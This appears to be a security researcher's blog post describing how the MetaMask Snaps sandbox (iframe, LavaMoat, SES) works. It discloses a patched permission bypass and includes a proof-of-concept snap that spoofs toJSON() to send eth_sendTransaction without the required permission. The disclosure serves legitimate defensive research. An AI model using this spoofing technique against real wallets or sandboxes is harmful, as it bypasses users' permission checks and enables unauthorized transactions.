MetaMask Snaps: playing in the sand

Overview

MetaMask snaps are simple modules that extend MetaMask’s functionality. These modules can be written by anyone, and provide useful features that the vanilla wallet doesn’t.

MetaMask provides a sandboxed environment that allows developers to run Snap code safely, without disclosing or tampering with critical information without user permission.

In this article, we’ll explore exactly how the snap execution environment works. We’ll then delve into a unique property spoofing vulnerability we reported in the MetaMask Snaps sandbox.

Sandbox security

In the first part of the article, we’ll describe how the MetaMask sandbox works, and examine what it’s doing to protect the security of Snaps.

Permission-based security

Each snap is built to have only the permissions it needs to hold. These permissions are specified in the snap.manifest.json file and can be critical to security.

Snap security is totally centered around the user, whose decisions can provide dangerous permissions to a malicious snap. MetaMask warns about the risk of each permission.

Here are the critical permissions possible to be given to a snap:

• snap_getBip44Entropy and snap_getBip32Entropy: a malicious snap retrieving a keypair leads to loss of funds.
• endowment:transaction-insight: a malicious snap getting insights into a transaction before approval can lead to frontrunning attacks.

Snap execution environment

Snaps are executed in a totally sandboxed environment which provides a safe context for executing untrusted code, and separates it from the normal execution flow. To accomplish this, MetaMask uses three layers of security to create this safe environment:

1. An isolated iframe
2. LavaMoat
3. SES (Secure ECMAScript)

Isolated iframe — layer 1

Snaps empower developers to enhance MetaMask’s functionality while maintaining a strong security posture. These modules execute within an iframe environment, ensuring they are isolated and secure. To facilitate this execution, MetaMask takes advantage of an iframe sandboxing mechanism, allowing snaps to operate in a contained context.

The framework: metamask-extension repo

The process of snap execution kicks off within the metamask-extension repository’s metamask-controller.js file. Here’s a glimpse of the relevant code:

1
// Import snaps-controllers
2
// ...
3
const snapExecutionServiceArgs = {
4
  iframeUrl: new URL(process.env.IFRAME_EXECUTION_ENVIRONMENT_URL),
5
  messenger: this.controllerMessenger.getRestricted({
6
    name: 'ExecutionService',
7
  }),
8
  setupSnapProvider: this.setupSnapProvider.bind(this),
9
};
10

11
// Define IFRAME_EXECUTION_ENVIRONMENT_URL
12
process.env.IFRAME_EXECUTION_ENVIRONMENT_URL =
13
  'https://execution.metamask.io/0.36.1-flask.1/index.html';
14
// ...

This code is defining the snapExecutionServiceArgs object, which contains information required for the IframeExecutionService to execute snaps. The IFRAME_EXECUTION_ENVIRONMENT_URL points to the location where the execution environment resides.

Executing snaps: IframeExecutionService in action

Inside the snaps-controller package’s IframeExecutionService.ts file, the IframeExecutionService orchestrates snap execution. Again, here’s a snippet of the relevant code:

1
// Register message handlers for snap interactions
2
this.#messenger.registerActionHandler(
3
  `${controllerName}:handleRpcRequest`,
4
  async (snapId: string, options: SnapRpcHookArgs) =>
5
    this.handleRpcRequest(snapId, options),
6
);
7

8
// More handlers for executeSnap, terminateSnap, etc.
9
// ...
10

11
// Execute a snap
12
async executeSnap(snapData: SnapExecutionData) {
13
  // Initialize job, streams, and environment
14
  const { jobId } = await this.initJob(snapData);
15
  const { worker, stream } = await this.initEnvStream(jobId);
16
  // ...
17
}

The IframeExecutionService registers message handlers that facilitate communication between MetaMask and snaps within the iframe. The ${controllerName}:executeSnap handler triggers the snap execution process.

Step-by-step execution: from initialization to iframe creation

31
protected async initEnvStream(jobId: string): Promise<{
32
    worker: Window;
33
    stream: BasePostMessageStream;
34
  }> {
35
    const iframeWindow = await createWindow(this.iframeUrl.toString(), jobId);
36

37
    const stream = new WindowPostMessageStream({
38
      name: 'parent',
39
      target: 'child',
40
      targetWindow: iframeWindow,
41
      targetOrigin: '*',
42
    });
43

44
    return { worker: iframeWindow, stream };
45
  }

Here the iframe is created via createWindow(), which is defined in the snaps-utils package:

17
const iframe = document.createElement('iframe');
18
    iframe.setAttribute('id', id);
19
    iframe.setAttribute('data-testid', 'snaps-iframe');
20

21
    if (sandbox) {
22
      iframe.setAttribute('sandbox', 'allow-scripts');
23
    }
24
    iframe.setAttribute('src', uri);
25
    document.body.appendChild(iframe);

This enables the iframe to be created with sandbox attributes, ensuring secure execution.

LavaMoat against supply-chain attacks — layer 2

Instances of software supply chain breaches occur when a malicious component infiltrates a developer’s application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, MetaMask employs a tool called LavaMoat.

Malicious dependencies might utilize built-in modules like fs. Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.

In order to prevent this, MetaMask Snaps use a Policy file provided by LavaMoat, that grants the platform API and Globals access to just the essential components. This limits the access to fields of powerful objects to corrupted dependencies.

This is how a Policy file related to the iframes looks:

49
"@metamask/post-message-stream": {
50
      "globals": {
51
        "MessageEvent.prototype": true,
52
        "WorkerGlobalScope": true,
53
        "addEventListener": true,
54
        "browser": true,
55
        "chrome": true,
56
        "location.origin": true,
57
        "postMessage": true,
58
        "removeEventListener": true
59
      },
60
      "packages": {
61
        "@metamask/post-message-stream>@metamask/utils": true,
62
        "@metamask/post-message-stream>readable-stream": true
63
      }
64
    }

One crucial aspect of the policy, apart from the globals section, is the packages segment. This section permits the @metamask/post-message-stream package to exclusively interact with the @metamask/utils and readable-stream packages. It ensures that interactions with potentially compromised packages are disallowed.

LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses the SES lockdown() function to freeze all JavaScript builtin prototypes.

Secure ECMAScript (SES) sandbox — layer 3

Within the iframe and after the LavaMoat execution, the MetaMask sandbox uses Secure ECMAScript (SES) as a way to set up limits for the snap. Let’s dig into how it works:

SES fundamentals

Lockdown

As the first step of setting up the SES sandbox, MetaMask executes the lockdown() function, which protects JavaScript objects against some attacks, mainly:

1. Prototype pollution. Lockdown executes Object.freeze() against all JavaScript builtin prototypes, preventing these attacks.
2. Information disclosure. Lockdown removes some sensitive information that can be disclosed by some JavaScript builtin objects, such as the trace attribute in an Error object, which contains the stack trace of the error.

Compartment

Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the globalThis object to exclusively accommodate secure functions. Consequently, any code executed within this controlled globalThis context is incapable of tampering with security:

const c = new Compartment();
c.globalThis === globalThis; // false
c.globalThis.JSON === JSON; // true

Compartment also changes the behaviour of evaluator functions such as eval() and the Function constructor, so that the evaluated code is also executed within the sandboxed globalThis.

Endowments

While creating a Compartment, it is possible to specify endowments. These endowments constitute objects that become accessible within the Compartment’s globalThis. However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.

In addition, SES provides the harden() function, which is mainly used to prevent the endowments from being modified by malicious code executed in a Compartment.

Setting up snaps execution env

When starting a snap, the setup follows these steps:

1. Create endowments based on snap permissions:

   327
   const { endowments, teardown: endowmentTeardown } = createEndowments(
   328
       snap,
   329
       ethereum,
   330
       snapId,
   331
       _endowments,
   332
   );

   In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.

   One clear example is the endowment:network-access permission, which adds the fetch() function to the endowments.

   All endowments are protected with the harden() function to prevent possible exploits derived from endowment modification, with two exceptions.

2. Create the snap compartment:

   345
   const compartment = new Compartment({
   346
       ...endowments,
   347
       module: snapModule,
   348
       exports: snapModule.exports,
   349
   });

   Note

   module and exports are passed as endowments, but without being hardened. This is intentional, as the snap needs to export functions to be correctly executed.

3. Evaluate the snap code inside the compartment:

   359
   await this.executeInSnapContext(snapId, () => {
   360
       compartment.evaluate(sourceCode);
   361
       this.registerSnapExports(snapId, snapModule);
   362
   });

   According to the documentation, the snap must contain one of the following function exports: onRpcRequest(), onTransaction(), or onCronjob().

Once the Compartment creates these functions, no matter where they are executed, they will always be evaluated within the sandboxed globalThis environment of that Compartment.

After the evaluation, the function exports are registered and executed later when the respective event is emitted.

Vulnerability research

Possible attacks

While searching for vulnerabilities in snap environments, we enumerated some features that can be broken, and lead to security issues, such as:

• Broken SES container isolation
• Insecure endowments in containers
• Incorrect RPC permission checks
• Insecure snap installation/update

We went through all of these vulnerability assumptions, and found a minor permission bypass bug using insecure endowments.

To understand the exploit, we need to dig into the snap’s RPC interfaces exposed via endowments.

RPC interfaces endowments

Providers limitations

A snap has two interfaces that can be used to communicate with the MetaMask RPC interface: snap and ethereum (EIP-1193). These differ in that each one can only send a subset of the available RPC methods:

130
export function assertSnapOutboundRequest(args: RequestArguments) {
131
  // Disallow any non `wallet_` or `snap_` methods for separation of concerns.
132
  assert(
133
    String.prototype.startsWith.call(args.method, 'wallet_') ||
134
      String.prototype.startsWith.call(args.method, 'snap_'),
135
    'The global Snap API only allows RPC methods starting with `wallet_*` and `snap_*`.',
136
  );
137
  assert(
138
    !BLOCKED_RPC_METHODS.includes(args.method),
139
    ethErrors.rpc.methodNotFound({
140
      data: {
141
        method: args.method,
142
      },
143
    }),
144
  );
145
  assertStruct(args, JsonStruct, 'Provided value is not JSON-RPC compatible');
146
}

This function is called by the snap RPC provider, so it can only send methods starting with wallet_ or snap_. In addition, there are some blocked RPC methods that immediately throw an error when encountered.

On the other hand, the ethereum provider only blocks methods starting with snap_ and the blocked methods. However, it requires the endowment:ethereum-provider permission in the snap manifest.

Execution flow

Both providers (snap and ethereum) are built outside the SES container with a request() function:

437
  const request = async (args: RequestArguments) => {
438
      assertSnapOutboundRequest(args); // or assertEthereumOutboundRequest(args);
439
      const sanitizedArgs = getSafeJson(args);
440
      this.notify({ method: 'OutboundRequest' });
441
      try {
442
        return await withTeardown(
443
          originalRequest(sanitizedArgs as unknown as RequestArguments),
444
          this as any,
445
        );
446
      } finally {
447
        this.notify({ method: 'OutboundResponse' });
448
      }
449
    };

In particular, this function is from the snap provider, but the only thing that changes between this and ethereum is the assert function in the first line.

As we can see in the code, the execution flow follows this pattern:

1. Assert that args are valid.
2. getSafeJson() to get sanitizedArgs.
3. originalRequest(sanitizedArgs).

Safe JSON exploit

As we dug further into the getSafeJson() function (defined in the @metamask/utils package) we discovered the following code:

72
export const JsonStruct = coerce(UnsafeJsonStruct, any(), (value) => {
73
  assertStruct(value, UnsafeJsonStruct);
74
  return JSON.parse(
75
    JSON.stringify(value, (propKey, propValue) => {
76
      // Strip __proto__ and constructor properties to prevent prototype pollution.
77
      if (propKey === '__proto__' || propKey === 'constructor') {
78
        return undefined;
79
      }
80
      return propValue;
81
    }),
82
  );
83
});

The function performs a JSON.parse(JSON.stringify(value)) on the argument sent to getSafeJson(). This specific function is how we found a way to exploit the assertion limitations. The bypass is made by setting a toJSON() function in a legit snap.request() argument:

1. assertSnapOutboundRequest(args) passes the assertion.
2. sanitizedArgs = getSafeJson(args): toJSON() returns a malicious object.
3. originalRequest(sanitizedArgs) forwards the malicious object.

The assertion bypass can be useful on two occasions:

1. Forwarding blocked RPC methods.
2. Making requests via snap.request() that were only supposed to be done via ethereum.request() (with endowment:ethereum-provider enabled).

This particular vulnerability allows the snap to perform Ethereum requests without permissions.

Impact

The bypass we described may be used to mislead the allowed permissions of the snap. This can cause the snap installation confirmation popup not to display the actual permissions of the snap. This exploit allows the snap to unexpectedly propose malicious transactions to the user, which shouldn’t be possible, even with permissions according to the documentation:

Proof of concept

To demonstrate the issue, we created a snap without the endowment:ethereum-provider permission, and used the snap interface to call eth_sendTransaction. According to the documentation, this shouldn’t be possible:

1
import { OnRpcRequestHandler } from '@metamask/snaps-types';
2

3

4
function jsonExploit(){
5
  let x = [] as any
6

7
  x.method = "snap_dialog"
8

9
  x.toJSON = () => {
10
    return {
11
      method: "eth_requestAccounts",
12
      params: []
13
    }
14
  }
15

16
  return snap.request(x)
17

18
}
19

20
function transactionExploit(){
21
  let x = [] as any
22

23
  x.method = "snap_dialog"
24

25
  x.toJSON = () => {
26
    return {
27
      method: "eth_sendTransaction",
28
      params: [{
29
        from: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d", // change this to your address
30
        to: "0xcf26B767586cC5fCF8737dD3FA57de164aF4248d",
31
        value: "0x1",
32
      }]
33
    }
34
  }
35

36
  return snap.request(x);
37
}
38

39
export const onRpcRequest: OnRpcRequestHandler = ({ origin, request }) => {
40

41
  switch (request.method) {
42
    case 'json':
43
      return jsonExploit();
44
    case 'transaction':
45
      return transactionExploit();
46
    default:
47
      throw new Error('Method not found.');
48
  }
49
};

We set x.method = "snap_dialog" to pass the assertion and set up a toJSON() function to change this method to eth_sendTransaction after.

Mitigation

MetaMask mitigated this issue by asserting the arguments after the getSafeJson() function execution. The patch was introduced in commit 168ff08 with the following changes:

1
const request = async (args: RequestArguments) => {
2
      assertEthereumOutboundRequest(args);
3
      const sanitizedArgs = getSafeJson(args);
4
      const sanitizedArgs = getSafeJson(args) as RequestArguments;
5
      assertEthereumOutboundRequest(sanitizedArgs);

Conclusion

This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in JavaScript, which makes designing robust sandbox implementations an extremely complex task.

MetaMask has implemented numerous layers to mitigate potential exploits, and we’re proud to help contribute to making Snaps more secure.